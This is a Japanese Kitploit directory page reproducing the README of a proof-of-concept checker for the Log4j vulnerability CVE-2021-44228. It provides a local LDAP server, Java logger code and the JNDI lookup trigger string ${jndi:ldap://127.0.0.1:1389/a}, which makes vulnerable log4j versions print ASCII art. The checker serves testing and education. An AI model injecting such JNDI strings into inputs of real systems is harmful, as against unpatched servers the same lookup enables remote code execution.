Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-44228 — 脆弱性 CVE-2021-44228 チェッカー | Kitploit
ツール/GitHubGitHub/greymd/cve-2021-44228
脆弱性分析エクスプロイトペネトレーションテスト学習と教育ラボと実践
GitHubgreymd/cve-2021-44228

CVE-2021-44228

脆弱性 CVE-2021-44228 チェッカー

リポジトリを見る
3544年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-44228 チェッカー

これは、脆弱性 CVE-2021-44228 を確認するためのリポジトリです。

これは、外部クラスローディングを行わずに文字列を表示するだけのPoCです。任意のコード実行には使用できません。

仕組み

ステップ1: サーバーアプリケーションを実行する

イメージ ghcr.io/greymd/cve-2021-44228/server が利用可能で、Docker上で実行できます。

root@kitploit:~
$ docker run -p 1389:1389 -t ghcr.io/greymd/cve-2021-44228/server

ステップ2: log4j でエンドポイントにアクセスする

log4j を使用してログを出力するコードを用意し、同じホスト上で実行します。 出力文字列を ${jndi:ldap://127.0.0.1:1389/a} とします。

root@kitploit:~
package logger;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class App {
    private static final Logger logger = LogManager.getLogger(App.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/a}");
    }
}

引数が脆弱性を引き起こすものである場合、フレーズ「うんこもりもり」(「たくさんのうんち」のような意味)が正常にログ出力されます。

root@kitploit:~
17:52:24.871 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

コードを書いたりビルドしたりするのが面倒な場合は、このリポジトリにあるシンプルなロガーアプリケーションを使用できます。 最初の引数が Logger によって出力されます。

root@kitploit:~
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/logger
$ ./gradlew run --args='Hello'
︙
> Task :run
22:10:02.307 [main] ERROR logger.App - Hello

脆弱性を引き起こす引数を与える例は以下の通りです。

root@kitploit:~
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'
︙
> Task :run
22:10:34.757 [main] ERROR logger.App -
    "mm
    mmmm          "m           "mmmmm
  ""    #         m"               "
        #        m#m          m
       #        m"  #   m     "m     m
     m"        m"   "mm"        """""
   m            m   m          m            m   m
  mm#            # # "m       mm#            # # "m
   m"#"          ##   #        m"#"          ##   #
 ""#mm "m        #    #      ""#mm "m        #    #
   #    #            #         #    #            #
    "mm"           m"           "mm"           m"

脆弱性の影響を受けないバージョンの log4j を使用している場合、またはサーバーアプリケーションが実行されていない場合、文字列はそのまま変更されずに出力されます。これは、以下のようにロガーアプリケーションのバージョンを更新することで確認できます。

root@kitploit:~
$ sed -i.bak s/2.14.1/2.15.0/ build.gradle
$ ./gradlew run --args='${jndi:ldap://127.0.0.1:1389/a}'

> Task :run
22:12:50.913 [main] ERROR logger.App - ${jndi:ldap://127.0.0.1:1389/a}

Dockerを使用せずにサーバーアプリケーションを実行する

root@kitploit:~
$ git clone https://github.com/greymd/CVE-2021-44228.git
$ cd CVE-2021-44228/server
$ ./gradlew run
︙
Listening ...

動機

前述の通り(また、私が調査した限りでは)、この脆弱性は JNDI の宛先サーバーが稼働していなければ再現されません。したがって、シンプルな PoC が役立ちます。

参考資料

実装において以下のURLを参考にしました。

  • https://www.lunasec.io/docs/blog/log4j-zero-day/
  • https://github.com/mbechler/marshalsec
  • https://github.com/advisories/GHSA-jfh8-c2jp-5v3q
  • https://github.com/apache/logging-log4j2/pull/608
  • https://github.com/HyCraftHD/Log4J-RCE-Proof-Of-Concept

テスト済みバージョン

  • OpenJDK Runtime Environment (build 1.8.0_302-b08)
  • OpenJDK Runtime Environment Corretto-11.0.12.7.1 (build 11.0.12+7-LTS)
  • OpenJDK Runtime Environment Zulu17.30+15-CA (build 17.0.1+12-LTS)
ツールをダウンロード